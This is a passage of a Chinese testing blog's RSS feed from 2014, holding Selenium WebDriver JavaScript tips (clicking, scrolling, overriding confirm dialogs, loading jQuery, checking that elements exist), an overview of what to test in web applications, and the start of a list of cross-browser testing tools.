sans-serif; font-size: 12px; background-color: #ffffff;">　　String js ="$(\"button.ui-multiselect.ui-widget\").trigger(\"focus\");"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　+"$(\"button.ui-multiselect.ui-widget\").click();"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　+"$(\"button.ui-multiselect.ui-widget\").trigger(\"open\");";</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　((JavascriptExecutor)driver).executeScript( js);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">5. Javacript scrollbar的操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　String js ="var obj = document.getElementsById(\&#8220;div_scroll\&#8221;);&#8221;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　+&#8221;obj.scrollTop= obj.scrollHeight/2;&#8221;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　((JavascriptExecutor)driver).executeScript(js);<br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">6. Javascript重写confirm</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　String js ="window.confirm = function(msg){ return true;}&#8221;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　((JavascriptExecutor)driver).executeScript( js);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　通过执行上面的js,该页面上所有的confirm将都不再弹出。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　7. 动态载入jquery</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　并不是所有的网页都引入了Jquery，如果我们要在这些网页上执行Jquery代码，就必须动态加载Jquery source文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　driver.get("file:///C:/test.html");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　boolean flag =(boolean)(driver_js).executeScript("return typeof jQuery =='undefined'");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　if (flag)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　{</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　driver_js.executeScript("var jq =document.createElement('script');"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　+ "jq.type ='text/javascript'; "</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　+"jq.src ='http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js';"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　+"document.getElementsByTagName('head')[0].appendChild(jq);");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Thread.sleep(3000);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　waiter.waitForPageLoad();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　driver_js.executeScript("$(\"input#testid\").val(\"test\");");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">8. 判断元素是否存在</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　可以通过下面的办法来判断页面元素是否存在，但是缺点就是如果元素不存在，必须在抛出exception后才能知道，所以会消耗一定的时间（需要超时后才会抛出异常）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">boolean ElementExist(By Locator){</div><div style="word-break: break-all; margin: 10px 0px;">try{</div><div style="word-break: break-all; margin: 10px 0px;">driver.findElement(Locator);</div><div style="word-break: break-all; margin: 10px 0px;">return true;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">catch(org.openqa.selenium.NoSuchElementException ex)</div><div style="word-break: break-all; margin: 10px 0px;">{</div><div style="word-break: break-all; margin: 10px 0px;">return false;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　也许我们可以在JavaScript中判断页面元素是否存在，然后再将结果返回给Webdriver的Java代码。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　页面元素</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　String js =" if(document.getElementById("XXX")){ return true; } else{ return false; }&#8221;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　String result = ((JavascriptExecutor)driver).executeScript(js);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　或者</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　表单元素</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　String js =" if(document.theForm.###){return true; } else{ return false; }&#8221;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　String result = ((JavascriptExecutor)driver).executeScript(js);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">9. 结尾</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　JavaScript在WebDriver中还可以做很多事情，但这还不是全部。比如，我们是否可以编写代码来监视在整个Webdrvier测试代码运行过程是否产生过JavaScriptError呢，答案是肯定的，有兴趣的同学可以深入研究一下。</div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421652.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:57 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421652.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>测试Web应用程序的基本要素</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421649.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:47:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421649.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421649.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421649.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421649.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421649.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　今天，每个人都依赖用于商业，教育和交易目的各类网站。网站涉及到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">互联网</strong></u></a>。人们普遍认为，现如今样样<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>都离不开互联网。不同类型的用户连接到网站上为了获取所需要的不同类型的信息。因此，网站应该根据用户的不同要求作出响应。与此同时，网站的正确的响应已经成为对于企业或组织而言至关重要的成功因素，因此，需要对其进行应彻底和频繁的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在这里，我们将讨论通过各种方法来测试一个网站。然而，测试一个网站并不是一件容易的事，因为我们不仅需要测试客户端还需要测试服务器端。通过这些方法，我们完全可以将网站测试到只存在最少数量的错误。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">网络测试介绍：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　系统的客户端是由浏览器显示的，它通过Internet来连接网站的服务器.所有网络应用的核心都是存储动态内容的关系<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>。事务服务器控制了数据库与其他服务器（通常被称为&#8220;应用服务器&#8221;）之间的的交互。管理功能负责处理数据更新和数据库管理。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;"><a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Web</strong></u></a>应用程序的广泛架构：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50107" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171253201pj6l.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　根据上述Web应用的架构，很明显，我们需要进行以下测试以确保web应用的适用性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1）服务器的预期负载如何，并且在该负载下服务器需要有什么样的性能。这可以包括服务器的响应时间以及数据库查询响应时间。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2）哪些浏览器将被使用？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3）它们有怎样的连接速度？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4）它们是组织内部的（因此具有高连接速度和相似的浏览器）或因特网范围的（因而有各种各样的连接速度和不同的浏览器类型）？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5）预计客户端有怎样的性能（例如，页面应该多快出现，动画，小程序等多快可以加载并运行）？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　对Web应用程序的开发生命周期进行描述时可能有许多专有名词，包括螺旋生命周期或迭代生命周期等等。用更批判的方式来描述最常见的做法是将其描述为类似<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">软件开发</strong></u></a>初期软件工程技术引入之前的非结构化开发。在&#8220;维护阶段&#8221;往往充满了增加错失的功能和解决存在的问题。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">我们需要准备回答以下问题：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1）是否允许存在用于服务器和内容维护/升级的停机时间？可以有多久？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2）要求有什么样的安全防护（防火墙，加密，密码等），它应该做到什么？怎样才可以对其进行测试？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3）互联网连接是否可靠？并且对备份系统或冗余的连接要求和测试有何影响？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4）需要什么样的流程来管理更新网站的内容，并且对于维护，跟踪，控制页面内容，图片，链接等有何要求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5）对于整个网站或部分网站来说是否有任何页面的外观和图片的标准或要求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6）内部和外部的链接将如何被验证和更新？多频繁？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　7）将有多少次用户登录，是否需要测试？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　8）CGI程序，Applets,Javascripts，ActiveX组件等如何进行维护，跟踪，控制和测试</div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421649.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:47 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421649.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>跨浏览器测试工具推荐</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421648.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:46:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421648.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421648.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421648.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">有时候，在不同浏览器将下进行<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">软件测试</strong></u></a>人员与项目团队的一大挑战。在所有浏览器上运行<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>使得测试成本非常高。特别是，当我们没有专业的设计团队，或在进行页面设计过程中没有软件验证及确认的时候，更为挑战。这是不好的部分。现在，让我们来看看有什么好的部分。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　最棒的是，在市场上有许多免费或收费的跨浏览器兼容测试工具。最关键的是，大多数情况你可以用免费的工具来完成你的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>。如果你有非常特殊的要求，那么你可能需要一个收费的跨浏览器兼容测试工具。<strong style="word-break: break-all; line-height: normal !important;">让我们简单介绍一下一些最好的工具：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1.IETab:这是我最喜欢的和最好的免费工具之一。这基本上是一个Firefox和Chrome浏览器的插件。只需简单的单击鼠标就可以从Firefox和Chrome浏览器中看到该网页在InternetExplorer中将如何被显示。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2.MicrosoftSuperPreview:这是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">微软</strong></u></a>提供的免费工具。它可以帮助你检查在各种版本的InternetExplorer下网页是如何显示的。你可以用它来测试和调试网页的布局问题。你可以在微软的网站上免费下载此工具。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3.SpoonBrowserSandbox:您可以使用此测试工具在几乎所有主要的浏览器下测试Web应用程序，如Firefox,Chrome和Opera。最初，它也支持IE，但在过去的几个月里，它减少了对IE的支持。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4.Browsershots：使用这个免费的浏览器<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">兼容性测试</strong></u></a>工具，可以测试在任何平台和浏览器的组合应用。所以，它是最广泛使用的工具。然而由于浏览器和平台的大量组合，它需要很长时间才能显示结果。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5.IETester:使用这个工具，你可以在各种<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>平台测试IE各种版本的网页，如WindowsVista，Windows7和XP。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6.BrowserCam：这是一个收费的浏览器兼容性在线测试工具。您可以用它的试用版进行24小时200张图以内的测试。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　